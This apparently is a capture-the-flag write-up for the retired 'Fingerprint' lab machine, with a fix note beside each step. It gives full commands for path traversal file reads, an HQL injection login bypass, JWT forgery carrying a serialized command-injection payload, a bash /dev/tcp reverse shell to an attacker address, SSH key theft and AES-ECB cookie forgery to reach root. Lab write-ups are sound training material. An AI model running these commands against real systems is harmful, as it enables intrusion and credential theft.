Fingerprint
Summary
The host ran two web applications: a Python/Flask 'mylog' manager on port 80 whose admin file viewer allowed unauthenticated path traversal, and a GlassFish 5.0.1 Java login portal on port 8080 (fingerprint.htb). The GlassFish login validated a client-side device fingerprint (auth_secondary from login.js) and was vulnerable to HQL injection, which bypassed authentication.
Its source, recoverable from /backups and the deployed app.war, exposed the HS256 key that signed the session cookie, a Java-serialized user object inside that cookie, and a plaintext database password in HibernateUtil. Forging the signed cookie with a serialized object whose username field carried a command injection gave a reverse shell as www-data.
The HibernateUtil password doubled as the passphrase for john's SSH key, which the Flask path traversal could read, giving a john shell and the user flag. As john, a backup of a second, root-run Flask app revealed an AES-ECB session cookie; forging an admin cookie and using the same path traversal over an SSH tunnel read root's SSH key, which logged in as root for the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"
export LPORT="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets — <aligned-admin-blocks>, <fingerprint>, <forged_user_id>, <your_user_id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Ports 22, 80 and 8080 open; 80 is Flask/Werkzeug, 8080 is GlassFish.
$ nmap -p- --min-rate 2000 -sC -sV $TARGETConfirms GlassFish 5.0.1 and the fingerprint.htb login portal.
$ curl -ksS -L -D - http://$TARGET:8080/Exact commands 2
Confirms unauthenticated arbitrary file read (lists local users including john).
$ curl --path-as-is -sS http://$TARGET/admin/view/../../../../../etc/passwdPull the Flask source to understand the viewer and the cookie scheme.
$ curl --path-as-is -sS http://$TARGET/admin/view/../../../../../home/flask/app/app.pyFixFix path traversal in the Flask admin file viewerHigh
Exact commands 1
Shows getFingerPrintID() and how auth_secondary is derived; capture a valid fingerprint value to reuse.
$ curl -sS http://$TARGET:8080/resources/js/login.jsFixUse parameterized queries on the GlassFish login and do not trust a client-side fingerprintCritical
Exact commands 2
HQL boolean bypass; replace <fingerprint> with the value from step 3. Returns an authenticated session.
$ curl --resolve fingerprint.htb:8080:$TARGET -sS -i -c cookies.txt -X POST http://fingerprint.htb:8080/login --data-urlencode "uid=' or username<>'admin" --data-urlencode 'auth_primary=a' --data-urlencode 'auth_secondary=<fingerprint>'Confirms the authenticated area is reachable.
$ curl -sS -b cookies.txt http://fingerprint.htb:8080/welcomeExact commands 2
HibernateUtil.java contains the plaintext DB password; the cookie classes show the serialized-object design and the HS256 key.
$ for n in User Profile UserProfileStorage HibernateUtil DBUtil; do curl -sS -o $n.java "http://$TARGET:8080/backups/$n.java"; done; grep -RniE 'password|secret|key' *.javaRetrieve the deployed archive through the Flask traversal for full decompilation.
$ curl --path-as-is -sS http://$TARGET/admin/view/../../../../../opt/glassfish5/glassfish/domains/domain1/applications/__internal/app/app.war -o app.warFixStop deserializing untrusted objects and remove hard-coded secrets and source exposureCritical
Exact commands 3
Catch the reverse shell (the payload connects to $ATTACKER_IP:$LPORT).
$ nc -lvnp $LPORTSign the JWT with the recovered HS256 key ($KEY). serialized_user.b64 is the Java object whose username is '../../../../../$(echo <base64 of: bash -i >& /dev/tcp/$ATTACKER_IP/$LPORT 0>&1>)|base64 -d|bash)/../../../data/uploads/profile'.
$ python3 -c 'import base64,json,hmac,hashlib; e=lambda b:base64.urlsafe_b64encode(b).rstrip(b"="); h=e(json.dumps({"typ":"JWT","alg":"HS256"},separators=(",",":")).encode()); p=e(json.dumps({"user":open("serialized_user.b64").read().strip()},separators=(",",":")).encode()); s=h+b"."+p; open("forged.jwt","wb").write(s+b"."+e(hmac.new(b"'"$KEY"'",s,hashlib.sha256).digest()))'The server deserializes the user object and runs the injected command; the listener catches www-data.
$ curl -sS -i -H 'Host: fingerprint.htb:8080' -H "Cookie: user=$(cat forged.jwt)" http://$TARGET:8080/welcomeExact commands 3
Read john's SSH private key through the Flask traversal.
$ curl --path-as-is -sS http://$TARGET/admin/view/../../../../../tmp/john_id_rsa -o john_id_rsa; chmod 600 john_id_rsaStrip the passphrase (the HibernateUtil password) so the key can be used directly.
$ ssh-keygen -p -P "$PASSWORD" -N '' -f john_id_rsaLog in as john and read <user.txt>.
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i john_id_rsa john@$TARGET 'whoami; id; cat /home/john/user.txt'
uid=1000(john)FixDo not reuse one password across a database and an SSH key passphraseHigh
Exact commands 5
As john, recover the secure app; it binds admin to 127.0.0.1:8088 as root and uses an AES-ECB user_id cookie.
$ scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i john_id_rsa john@$TARGET:/var/backups/flask-app-secure.bak . && unzip -q flask-app-secure.bak -d secureapp && grep -RniE 'AES|ECB|user_id|8088|admin' secureappTunnel to the localhost-only admin service (leave running in another shell).
$ ssh -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -L 127.0.0.1:18088:127.0.0.1:8088 -i john_id_rsa john@$TARGETRename the profile so controlled AES-ECB blocks assemble into an admin record; the response sets the forged user_id.
$ curl -sS -i -X POST http://127.0.0.1:18088/profile -H 'Cookie: user_id=<your_user_id>' --data-urlencode 'new_name=user,<aligned-admin-blocks>'The forged cookie reaches the root-run viewer; read root's SSH key.
$ curl --path-as-is -sS -H 'Cookie: user_id=<forged_user_id>' http://127.0.0.1:18088/admin/view/../../../../../root/.ssh/id_rsa -o root_id_rsa; chmod 600 root_id_rsaLog in as root and read <root.txt>.
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i root_id_rsa root@$TARGET 'whoami; id; cat /root/root.txt'
uid=0(root)FixReplace the AES-ECB session cookie and do not run the admin viewer as rootCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Werkzeug httpd 1.0.1 (Python 2.7.17) |
| 8080/tcp | http recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.